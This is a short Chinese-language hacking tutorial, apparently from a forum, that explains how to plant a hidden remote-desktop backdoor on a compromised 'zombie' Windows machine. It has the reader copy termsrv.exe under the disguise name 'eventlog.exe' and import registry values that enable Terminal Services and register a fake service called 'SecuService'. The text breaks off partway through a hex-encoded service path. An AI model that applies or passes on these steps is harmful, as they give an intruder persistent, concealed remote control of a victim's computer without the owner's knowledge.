1.将"肉机"中 "c:＼winnt＼system32＼termsrv.exe" 文件作一备份,命名为"eventlog.exe",仍将其放入目录 "c:＼winnt＼system32＼"



2.将如下注册表键值导入 "肉机" 的注册表中: BBS.bitsCN.com网管论坛



------------
视窗系统 Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼视窗系统＼CurrentVersion＼netcache]
"Enabled"="0"



[HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼视窗系统 NT＼CurrentVersion＼Winlogon]
"ShutdownWithoutLogon"="0"



[HKEY_LOCAL_MACHINE＼SOFTWARE＼Policies＼Microsoft＼视窗系统＼Installer]
"EnableAdminTSRemote"=dword:00000001



[HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Control＼Terminal Server]
"TSEnabled"=dword:00000001



[HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼TermDD]
"Start"=dword:00000002



[HKEY_USERS＼.DEFAULT＼Keyboard Layout＼Toggle]
"Hotkey"="1"



[HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼SecuService]
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,＼